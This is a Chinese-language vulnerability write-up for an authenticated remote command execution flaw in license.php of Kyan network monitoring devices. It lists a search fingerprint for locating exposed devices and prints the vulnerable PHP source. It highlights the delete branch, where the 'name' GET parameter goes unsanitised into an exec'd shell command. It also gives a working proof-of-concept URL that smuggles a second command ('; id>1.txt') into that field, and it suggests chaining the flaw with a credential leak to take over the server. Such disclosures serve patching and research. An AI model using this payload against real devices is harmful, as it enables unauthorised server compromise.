# Kyan 网络监控设备 license.php 远程命令执行漏洞 ## 漏洞描述 Kyan 网络监控设备 license.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞 ## 漏洞影响 Kyan ## 网络测绘 title="platform - Login" ## 漏洞复现登录页面如下 ![img](/library/img/1631179527807-e2a16825-af31-4f88-a5ef-32752795774b-20220314122800058.png) 存在漏洞的文件: `/license.php` ```python 0) { show_error(lang_get('Extract file failed')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } exec($BASH."\"cd /dev/shm/upload && md5sum -c md5sum\"", $output, $ret); if($ret <> 0) { show_error(lang_get('MD5 check failed')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } if (is_windows()) $dh = opendir('c:\\cygwin\\dev\\shm\\upload'); else $dh = opendir('/dev/shm/upload'); if(!$dh) { show_error(lang_get('can not open dest dir to copy')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } exec($BASH."\"touch /tmp/mmap_watch_pause\""); while($file = readdir($dh)) { if(is_dir($file)) continue; $file = trim($file); if(ereg('\.lic$', $file)) { $filetitle = basename($file, '.lic'); $extract_dir = $pkg_extract_dir . '/' . $filetitle; exec($BASH."\"" . $extract_dir . "/.init stop\""); exec($BASH."\"mkdir -p " . $destdir . " && mv -f /dev/shm/upload/" . $file . " " . $destdir . "\""); exec($BASH."\"rm -rf " . $extract_dir . " && mkdir -p " . $extract_dir . " && cd " . $extract_dir . " && bzcat " . $destdir . '/' . $file . " | cpio -idu \""); } } if (!is_windows()) exec($BASH."\"/sbin/ldconfig\""); else exec($BASH."\"rm -rf ". $tmpname ."\""); exec($BASH."\"rm -f /tmp/mmap_watch_pause\""); exec($BASH."\"rm -rf /dev/shm/upload\""); } if (isset($_GET['cmd']) && isset($_GET['name'])) { $cmd = $_GET['cmd']; if ($cmd == 'delete') { $name = $_GET['name']; exec($BASH."\"rm -f ". $PREFIX ."licenses/".$name."\""); } } print_html_begin('license'); echo "\n"; echo "\n"; echo "\n"; if (is_windows()) $dh = opendir('z:\\writable\\licenses'); else $dh = opendir('/config/licenses'); if ($dh) { while ($file = readdir($dh)) { if (is_dir($file)) continue; $file = trim($file); if (!ereg('\.lic$', $file)) continue; $filetitle = basename($file, '.lic'); echo "\n"; } } echo "

".lang_get('licenses')."
".lang_get('name')."	".lang_get('operation')."
".$filetitle."	"; echo "

\n
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo ""; echo ""; echo ""; echo "\n

".lang_get('licenses to upload')."
" .lang_get('select file')."

\n"; echo "\n"; print_html_end(); ?> ``` 其中需要注意的位置 ```python if (isset($_GET['cmd']) && isset($_GET['name'])) { $cmd = $_GET['cmd']; if ($cmd == 'delete') { $name = $_GET['name']; exec($BASH."\"rm -f ". $PREFIX ."licenses/".$name."\""); } } ``` 由于变量可控，构造POC执行任意命令 ```python /license.php?cmd=delete&name=;id>1.txt ``` ![img](/library/img/1631179671035-b48b7d27-8196-4b13-b665-670799329c5b.png)